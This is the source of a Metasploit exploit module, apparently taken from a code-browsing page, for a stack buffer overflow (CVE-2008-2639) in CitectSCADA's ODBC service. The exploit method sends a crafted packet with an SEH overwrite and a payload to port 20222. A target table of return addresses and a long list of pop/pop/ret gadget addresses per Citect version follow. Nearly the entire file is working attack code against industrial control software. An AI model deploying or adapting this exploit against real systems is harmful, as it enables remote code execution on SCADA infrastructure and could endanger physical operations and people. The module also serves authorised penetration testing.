Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/scada/citect_scada_odbc.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => 'CitectSCADA/CitectFacilities ODBC Buffer Overflow',14'Description' => %q{15This module exploits a stack buffer overflow in CitectSCADA's ODBC daemon.16This has only been tested against Citect v5, v6 and v7.17},18'Author' =>19[20'KF <kf_lists[at]digitalmunition.com>', # Original Metasploit module21'aushack', # Some clean up - I'm sure there's more to be done :)22],23'References' =>24[25[ 'CVE', '2008-2639' ],26[ 'BID', '29634' ],27[ 'OSVDB', '46105' ],28[ 'URL', 'http://www.coresecurity.com/content/citect-scada-odbc-service-vulnerability' ],29[ 'URL', 'http://www.auscert.org.au/render.html?it=9433' ],30[ 'URL', 'http://www.citect.com/documents/news_and_media/pr-citect-address-security.pdf' ],31],32'DefaultOptions' =>33{34'EXITFUNC' => 'thread',35},36'Payload' =>37{38'Space' => 212,39'BadChars' => "\x00",40'StackAdjustment' => -350041},42'Platform' => 'win',4344'Targets' =>45[46# Notes:47# * "Known" releases: 5.40, 5.40 Service Pack (aka 'sp') C, 5.41, 5.41 sp B, 5.42, 5.42 sp A, 5.5, 5.5 sp A, 5.5 sp B, 5.5 sp C48# 6.0, 6.0 sp A, 6.1, 6.1 sp A, 6.1 sp B, 7.0, 7.0 Release 2, 7.1 Off Process Beta, 7.1 On Process Beta 1, 7.10.49# * Many targets are missing. v7+ is presumably patched.50# * CiExceptionMailer.dll can be arbitrarily remapped by other DLLs and were not matching in my environment when changing OSes.51# * Return addresses (p/p/r) are universal within Citect32.exe across NT4/2K/XP - offset ('Pad') varies likely by OS but not yet confirmed.52# * Initial attempts at finding common return addresses within v5.21, 5.41, 6.0 DLLs returned nil result. Opcodes listed at end of module.53# * Windows 98 target removed to conform with the Framework payload support.54# * Varying hardcoded payload lengths, offsets, padding, nopsled and jumps from original module removed55# in favour of standard 212 byte payload + padding to SeH & dynamic backwards jump.56# * Targets labelled 'untested but correct' from original module have not been QA'ed; mathematically the payload size + jump were correct and expected to work.57# * Targets labelled 'untested and possibly incorrect' had unexpected payload size and jump lengths. Potentially incorrect or jumping into a copy of the buffer elsewhere.58['Citect32.exe v5.21 NT4', { 'Version' => '5.21', 'Ret' => 0x0058caa3, 'Pad' => 0 } ], # Patrick tested OK nt4sp459['Citect32.exe v5.21 2K/XP', { 'Version' => '5.21', 'Ret' => 0x0058caa3, 'Pad' => 4 } ], # Patrick tested OK xp, 2k60['Citect32.exe v5.41-r0 NT4', { 'Version' => '5.41-r0', 'Ret' => 0x005d8000, 'Pad' => 0 } ], # Patrick tested OK nt4sp461['Citect32.exe v5.41-r0 2K/XP', { 'Version' => '5.41-r0', 'Ret' => 0x005d8000, 'Pad' => 4 } ], # Patrick tested OK xp, 2k62['Citect32.exe v6.0-r0 2K/XP', { 'Version' => '6.0-r0', 'Ret' => 0x006030e1, 'Pad' => 4 } ], # Patrick tested OK xp, 2k63['CiExceptionMailer.dll v5.42 on XP Sp2 or SP3', { 'Version' => '5.42', 'Ret' => 0x003a530e, 'Pad' => 4 } ], # untested but correct64['CiExceptionMailer.dll v6.0-r0 on Server 2003 Sp2', { 'Version' => '6.0-r0', 'Ret' => 0x003a6aad, 'Pad' => 0 } ], # untested but correct65['CiExceptionMailer.dll v6.0-r0 on XP Sp2 or SP3', { 'Version' => '6.0-r0', 'Ret' => 0x0039cd5a, 'Pad' => 4 } ], # untested but correct66['CiExceptionMailer.dll v6.10 on XP Sp2 or SP3', { 'Version' => '6.10', 'Ret' => 0x00501113, 'Pad' => 168 } ], # untested and possibly incorrect67['CiExceptionMailer.dll v7.0-r0 on XP Sp2 or SP3', { 'Version' => '7.0-r0', 'Ret' => 0x003e1e92, 'Pad' => 168 } ], # untested and possibly incorrect68['CiExceptionMailer.dll v7.0-r0 on 2003 Server SP1', { 'Version' => '7.0-r0', 'Ret' => 0x003d59d7, 'Pad' => 164 } ], # untested and possibly incorrect69['CiExceptionMailer.dll v5.50-r0 XP SP2', { 'Version' => '5.50-r0', 'Ret' => 0x003a5e90, 'Pad' => 4 } ], # untested but correct70['CiExceptionMailer.dll v5.50-r0 2003 Server', { 'Version' => '5.50-r0', 'Ret' => 0x003952ee, 'Pad' => 0 } ], # untested but correct71['Debug', { 'Version' => 'debug', 'Ret' => 0x44434241, 'Pad' => 0 } ],72],7374'Privileged' => false,75'DisclosureDate' => '2008-06-11'76))7778register_options(79[80Opt::RPORT(20222)81])82end8384def exploit85connect8687print_status("Trying target #{target.name}...")8889if (target['Version'] =~ /debug/)90# Use this to find offsets for other versions that were not provided.91mal = Rex::Text.pattern_create(payload_space, Rex::Text::DefaultPatternSets)92print_status("Use pattern_offset.rb to find the length")93else94mal = payload.encoded + make_nops(target['Pad'])95mal << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack("V")96mal << Rex::Arch::X86.jmp(-(mal.length+5)) # Jump back to our payload - can't fit payload after SeH.97end9899wakeup = [0x02].pack('Q')[0..4] + [mal.length].pack("N") + mal100101len = [wakeup.length].pack("N")102sock.put(len)103sock.put(wakeup)104105print_status("Sent malicious ODBC packet...")106107handler108disconnect109end110end111112=begin113114# Citect v5.21115116[C:\CITECT\Bin\CITECT32.EXE]1170x004a2ff8 pop ebx; pop ecx; ret1180x004a307c pop ebx; pop ecx; ret1190x004a30b3 pop ebx; pop ecx; ret1200x004a30e7 pop ebx; pop ecx; ret1210x004a311b pop ebx; pop ecx; ret1220x004a3187 pop ebx; pop ecx; ret1230x004a3192 pop ebx; pop ecx; ret1240x004ad17c pop esi; pop ebp; ret1250x004cf762 pop esi; pop ebp; ret1260x004e7b81 pop esi; pop ebp; ret1270x004efc02 pop esi; pop ebp; ret1280x004f0462 pop ebx; pop ebp; ret1290x0050ac5b pop ebp; pop ebx; ret1300x0050add4 pop esi; pop ebp; ret1310x0050ae1f pop esi; pop ebp; ret1320x0050af14 pop esi; pop ebx; ret1330x0050afb6 pop esi; pop ebx; ret1340x0050b007 pop esi; pop ebx; ret1350x0050b319 pop edi; pop esi; ret1360x0050b4d7 pop ebp; pop ebx; ret1370x0050b635 pop edi; pop esi; ret1380x0050b6dd pop edi; pop esi; ret1390x0050b747 pop esi; pop edi; ret1400x0050bcd1 pop ebp; pop ebx; ret1410x0050bcdc pop ebp; pop ebx; ret1420x00520e69 pop esi; pop ebp; ret1430x00532b32 pop esi; pop ebp; ret1440x00532b8b pop esi; pop ebp; ret1450x0053838f pop edi; pop ebx; ret1460x005383ab pop edi; pop ebx; ret1470x005383c2 pop edi; pop ebx; ret1480x00538478 pop esi; pop ebx; ret1490x005384c9 pop esi; pop ebx; ret1500x005384d5 pop esi; pop ebx; ret1510x005384eb pop esi; pop ebx; ret1520x0053895f pop edi; pop esi; ret1530x005389c1 pop edi; pop esi; ret1540x005389ca pop edi; pop esi; ret1550x00541117 pop ebp; pop esi; ret1560x00582800 pop edi; pop esi; ret1570x00582833 pop edi; pop esi; ret1580x00582862 pop edi; pop esi; ret1590x00582ac6 pop esi; pop ebx; ret1600x00583201 pop edi; pop esi; ret1610x005832c0 pop edi; pop esi; ret1620x0058341d pop edi; pop esi; ret1630x00583462 pop edi; pop esi; ret1640x005834a5 pop edi; pop esi; ret1650x005835b5 pop ebp; pop ebx; ret1660x0058ca39 pop esi; pop ebp; ret1670x0058caa3 pop esi; pop ebp; ret168169# Citect v5.41-r0170171[C:\CITECT\Bin\CITECT32.EXE]1720x00404470 pop esi; pop ebx; ret1730x0040469f pop ebp; pop ebx; retn 0x00041740x00404b50 pop ebx; pop ecx; ret1750x00404d67 pop ebp; pop ebx; retn 0x00041760x00404dce pop ebp; pop ebx; retn 0x00041770x00404f21 pop ebx; pop ecx; retn 0x00041780x004057c9 pop ebx; pop ecx; ret1790x004059f7 pop ebp; pop ebx; retn 0x00041800x00405a5e pop ebp; pop ebx; retn 0x00041810x00405bc6 pop ebx; pop ecx; retn 0x00041820x00405c7f pop esi; pop ecx; ret1830x00406ab4 pop esi; pop ecx; retn 0x00041840x004b5181 pop esi; pop ebp; ret1850x004c4768 pop ebx; pop ecx; ret1860x004c47e3 pop ebx; pop ecx; ret1870x004c4817 pop ebx; pop ecx; ret1880x004c4848 pop ebx; pop ecx; ret1890x004c4879 pop ebx; pop ecx; ret1900x004c48e2 pop ebx; pop ecx; ret1910x004cf2ec pop esi; pop ebp; ret1920x004f27fc pop esi; pop ebp; ret1930x0050bf41 pop esi; pop ebp; ret1940x005412f0 pop ebx; pop ebp; ret1950x0054acff pop esi; pop ebp; ret1960x0056028a pop esi; pop ebp; ret1970x005602e3 pop esi; pop ebp; ret1980x0056633c pop edi; pop ebx; ret1990x00566358 pop edi; pop ebx; ret2000x0056636f pop edi; pop ebx; ret2010x00566428 pop esi; pop ebx; ret2020x00566457 pop esi; pop ebx; ret2030x00566463 pop esi; pop ebx; ret2040x00566497 pop esi; pop ebx; ret2050x005664ad pop esi; pop ebx; ret2060x00566971 pop edi; pop esi; ret2070x00567105 pop edi; pop esi; ret2080x0056714a pop esi; pop ebx; ret2090x0056721a pop edi; pop esi; ret2100x00572be7 pop ebp; pop esi; ret2110x005b2f2a pop esi; pop ebx; ret2120x005b2f2f pop esi; pop ebx; ret2130x005b3001 pop ebp; pop ebx; ret2140x005b3008 pop ebp; pop ebx; ret2150x005b32ae pop ebx; pop ebp; ret2160x005b33a0 pop esi; pop ebx; ret2170x005b3469 pop edi; pop esi; ret2180x005b3498 pop edi; pop esi; ret2190x005b36b3 pop ebp; pop ebx; ret2200x005b36cb pop ebp; pop ebx; ret2210x005b373a pop esi; pop ebx; ret2220x005b3e28 pop edi; pop esi; ret2230x005b3e50 pop edi; pop esi; ret2240x005b3eba pop edi; pop esi; ret2250x005b3ee6 pop edi; pop esi; ret2260x005b3fd5 pop esi; pop ebp; ret2270x005b4891 pop ebp; pop ecx; ret2280x005b4942 pop ebp; pop ebx; ret2290x005b4b9d pop esi; pop ebx; ret2300x005b4d44 pop esi; pop ebx; ret2310x005b4d4a pop esi; pop ebx; ret2320x005cf353 pop edi; pop esi; ret2330x005cf482 pop edi; pop esi; ret2340x005cfce6 pop ebp; pop ebx; ret2350x005cfe98 pop edi; pop esi; ret2360x005d0482 pop esi; pop ecx; retn 0x00082370x005d05e6 pop edi; pop esi; retn 0x00042380x005d4ba6 pop esi; pop ebp; ret2390x005d5089 pop esi; pop ebp; ret2400x005d5228 pop esi; pop ebp; retn 0x00042410x005d529c pop ebp; pop ebx; retn 0x00042420x005d52f8 pop edi; pop esi; retn 0x00082430x005d54db pop ecx; pop ecx; ret2440x005d5985 pop esi; pop edi; retn 0x00102450x005d5a8b pop ecx; pop ecx; ret2460x005d5b47 pop edi; pop ebx; ret2470x005d5b55 pop edi; pop ebx; ret2480x005d5ba6 pop esi; pop ebx; ret2490x005d6204 pop ebx; pop ecx; ret2500x005d63a5 pop ebx; pop ecx; ret2510x005d64b8 pop ebp; pop ebx; ret2520x005d6614 pop ebp; pop ebx; ret2530x005d676d pop ebp; pop ebx; ret2540x005d67b9 pop edi; pop esi; ret2550x005d6801 pop edi; pop esi; ret2560x005d69d2 pop esi; pop ebx; retn 0x00042570x005d6d81 pop esi; pop ebx; ret2580x005d704b pop esi; pop ecx; retn 0x00082590x005d7f3a pop edi; pop esi; ret2600x005d7f7d pop edi; pop esi; ret2610x005d7fbd pop edi; pop esi; ret2620x005d8000 pop edi; pop esi; ret2630x005d810c pop esi; pop ecx; retn 0x000c264265# Citect v6.0-r0266267[C:\Program Files\Citect\CitectSCADA\Bin\Citect32.exe]2680x00403f72 pop ebx; pop ebp; ret2690x00403f78 pop ebx; pop ebp; ret2700x00404ddc pop ebx; pop esi; ret2710x0040502a pop edi; pop esi; ret2720x0040535a pop ebx; pop ebp; ret2730x004059c6 pop edi; pop esi; ret2740x004059da pop edi; pop esi; ret2750x00405a18 pop edi; pop esi; ret2760x00405ffb pop esi; pop ebx; ret2770x0040622f pop ebp; pop ebx; retn 0x00042780x004066e0 pop ebx; pop ecx; ret2790x004068f7 pop ebp; pop ebx; retn 0x00042800x0040695e pop ebp; pop ebx; retn 0x00042810x004073f9 pop ebx; pop ecx; ret2820x00407637 pop ebp; pop ebx; retn 0x00042830x0040769e pop ebp; pop ebx; retn 0x00042840x004078df pop esi; pop ecx; ret2850x00407b1d pop ebx; pop ecx; retn 0x00082860x00407b4e pop ebx; pop ecx; retn 0x00082870x00407b87 pop ebx; pop ecx; retn 0x00082880x00407b99 pop ebx; pop ecx; retn 0x00082890x00408226 pop esi; pop ebx; retn 0x00042900x00408490 pop ebp; pop ebx; retn 0x00102910x00408702 pop esi; pop ebx; retn 0x00042920x00408b71 pop esi; pop ebx; ret2930x00408cc7 pop edi; pop ebx; ret2940x00408cd5 pop edi; pop ebx; ret2950x00408d26 pop esi; pop ebx; ret2960x00409384 pop ebx; pop ecx; ret2970x00409525 pop ebx; pop ecx; ret2980x00409638 pop ebp; pop ebx; ret2990x00409794 pop ebp; pop ebx; ret3000x004098ed pop ebp; pop ebx; ret3010x00409939 pop edi; pop esi; ret3020x00409981 pop edi; pop esi; ret3030x00461d7a pop edi; pop esi; retn 0x00103040x00461ed3 pop edi; pop esi; ret3050x00461ef0 pop edi; pop esi; ret3060x004623ae pop edi; pop esi; retn 0x000c3070x004b9eb4 pop esi; pop ebp; ret3080x004c605b pop ebx; pop ecx; ret3090x004c609f pop ebx; pop ecx; ret3100x004c60a6 pop ebx; pop ecx; ret3110x004c616d pop ebp; pop ebx; ret3120x004c6174 pop ebp; pop ebx; ret3130x004c631e pop esi; pop ebx; ret3140x004c638c pop ebx; pop ecx; ret3150x004c6392 pop ebx; pop ecx; ret3160x004c6398 pop ebx; pop ecx; ret3170x004c63b8 pop edi; pop esi; ret3180x004c63bd pop edi; pop esi; ret3190x004c6926 pop esi; pop ebx; retn 0x00043200x004c6b90 pop ebp; pop ebx; retn 0x00103210x004cd7b8 pop ebx; pop ecx; ret3220x004cd833 pop ebx; pop ecx; ret3230x004cd867 pop ebx; pop ecx; ret3240x004cd898 pop ebx; pop ecx; ret3250x004cd8c9 pop ebx; pop ecx; ret3260x004cd932 pop ebx; pop ecx; ret3270x004d97a2 pop esi; pop ebp; ret3280x0050739b pop esi; pop ebp; ret3290x00515be1 pop esi; pop ebx; ret3300x00515be6 pop esi; pop ebx; ret3310x00515cf5 pop esi; pop ecx; ret3320x00515d09 pop esi; pop ecx; ret3330x00515d0f pop esi; pop ecx; ret3340x00515e2f pop esi; pop ecx; ret3350x00515e42 pop esi; pop ecx; ret3360x00515fbd pop ebx; pop ecx; ret3370x00515fd1 pop ebx; pop ecx; ret3380x0051614b pop esi; pop ebp; ret3390x00516150 pop esi; pop ebp; ret3400x0051653c pop edi; pop esi; ret3410x005166b0 pop edi; pop esi; ret3420x0051729d pop edi; pop esi; ret3430x0051732e pop edi; pop esi; ret3440x0054b192 pop ebx; pop ebp; ret3450x005538d3 pop esi; pop ebp; ret3460x0056de55 pop esi; pop ebp; ret3470x0056deae pop esi; pop ebp; ret3480x00574c35 pop edi; pop ebp; ret3490x00574c52 pop edi; pop ebp; ret3500x00574c6a pop edi; pop ebp; ret3510x00574d18 pop esi; pop ebx; ret3520x00574d49 pop esi; pop ebx; ret3530x00574d55 pop esi; pop ebx; ret3540x00574d89 pop esi; pop ebx; ret3550x00574d9f pop esi; pop ebx; ret3560x00575281 pop edi; pop esi; ret3570x00575a15 pop edi; pop esi; ret3580x00575a5a pop esi; pop ebx; ret3590x00575b2a pop edi; pop esi; ret3600x005904ba pop ebx; pop ecx; ret3610x005904f5 pop edi; pop esi; ret3620x0059054e pop esi; pop ebx; ret3630x00590598 pop edi; pop esi; ret3640x005905f1 pop esi; pop ebx; ret3650x00590cad pop ebx; pop ecx; ret3660x00590ce8 pop edi; pop esi; ret3670x00590d41 pop esi; pop ebx; ret3680x00590d8b pop edi; pop esi; ret3690x00590de1 pop esi; pop ebx; ret3700x00590e3e pop esi; pop ebx; ret3710x005913bc pop ebx; pop ecx; ret3720x0059142c pop edi; pop esi; ret3730x0059149f pop edi; pop esi; ret3740x00591aaf pop ebx; pop ecx; ret3750x00591b2f pop edi; pop esi; ret3760x00591baf pop edi; pop esi; ret3770x00591bfc pop edi; pop esi; ret3780x005a6dd4 pop esi; pop ebp; ret3790x005a980b pop ebp; pop esi; ret3800x005a9bf4 pop edi; pop esi; ret3810x005a9d11 pop ebx; pop ecx; ret3820x005a9d19 pop ebx; pop ecx; ret3830x005a9eed pop esi; pop ebx; ret3840x005a9f04 pop esi; pop ebx; ret3850x005a9fa2 pop esi; pop ebx; ret3860x005beaf8 pop ebp; pop ebx; ret3870x005beb4a pop ebp; pop ebx; ret3880x005d1e6a pop esi; pop ebx; ret3890x005d1e6f pop esi; pop ebx; ret3900x005d1f41 pop ebp; pop ebx; ret3910x005d1f48 pop ebp; pop ebx; ret3920x005d21ee pop ebx; pop ebp; ret3930x005d22e9 pop esi; pop ebx; ret3940x005d2438 pop edi; pop esi; ret3950x005d2467 pop edi; pop esi; ret3960x005d26b3 pop ebp; pop ebx; ret3970x005d26cb pop ebp; pop ebx; ret3980x005d273a pop esi; pop ebx; ret3990x005d2e48 pop edi; pop esi; ret4000x005d2e70 pop edi; pop esi; ret4010x005d2eda pop edi; pop esi; ret4020x005d2f06 pop edi; pop esi; ret4030x005d2ff5 pop esi; pop ebp; ret4040x005d38a3 pop ebp; pop ecx; ret4050x005d3952 pop ebp; pop ebx; ret4060x005d3bad pop esi; pop ebx; ret4070x005d3d54 pop esi; pop ebx; ret4080x005d3d5a pop esi; pop ebx; ret4090x005ef343 pop edi; pop esi; ret4100x005ef472 pop edi; pop esi; ret4110x005efce6 pop ebp; pop ebx; ret4120x005efe98 pop edi; pop esi; ret4130x005f0482 pop esi; pop ecx; retn 0x00084140x005f05e6 pop edi; pop esi; retn 0x00044150x005f6900 pop esi; pop ebp; ret4160x005f6e1f pop esi; pop ebp; ret4170x005f6fbe pop esi; pop ebp; retn 0x00044180x005f7032 pop ebp; pop ebx; retn 0x00044190x005f708e pop edi; pop esi; retn 0x00084200x005f7271 pop ecx; pop ecx; ret4210x005f75f5 pop esi; pop edi; retn 0x00104220x005f775d pop edi; pop ebx; retn 0x00104230x005f7803 pop esi; pop ebx; retn 0x00104240x005f785f pop ecx; pop ecx; ret4250x005f7954 pop esi; pop ebx; ret4260x005f79a4 pop esi; pop ebx; ret4270x005f7f72 pop ebp; pop ebx; retn 0x00044280x005f7fe2 pop ebp; pop ebx; retn 0x00044290x005f860d pop ebp; pop ebx; ret4300x005f87da pop edi; pop esi; ret4310x005f893a pop esi; pop ebx; ret4320x005f898a pop esi; pop ebx; ret4330x005f89bf pop edi; pop esi; retn 0x00084340x005f89ff pop edi; pop esi; retn 0x00084350x005f8ae9 pop ebp; pop ebx; retn 0x000c4360x005f8ff6 pop esi; pop ebx; retn 0x00044370x005f9260 pop ebp; pop ebx; retn 0x00104380x005f954b pop esi; pop ecx; retn 0x00084390x005fa2fd pop edi; pop esi; ret4400x005fabcc pop esi; pop ecx; ret4410x005fad0e pop esi; pop ebx; retn 0x00044420x005fb312 pop ebp; pop ebx; retn 0x00044430x005fb47f pop esi; pop ebx; ret4440x005fb4e9 pop edi; pop esi; ret4450x005fb580 pop edi; pop esi; retn 0x00044460x005fb620 pop esi; pop ebx; retn 0x00044470x005fb68a pop esi; pop ebx; ret4480x005fbb4d pop ebx; pop ecx; retn 0x00044490x005fbbe9 pop ebx; pop ecx; retn 0x00044500x005fbd5c pop edi; pop esi; ret4510x005fbdf3 pop ebp; pop ebx; ret4520x005fc28a pop esi; pop ebx; ret4530x005fccfa pop edi; pop esi; ret4540x005fcd3d pop edi; pop esi; ret4550x005fcd7d pop edi; pop esi; ret4560x005fcdc0 pop edi; pop esi; ret4570x005fcecc pop esi; pop ecx; retn 0x000c4580x006026ff pop esi; pop ebx; ret4590x00602a64 pop esi; pop ebx; ret4600x006030e1 pop esi; pop ecx; ret461462=end463464465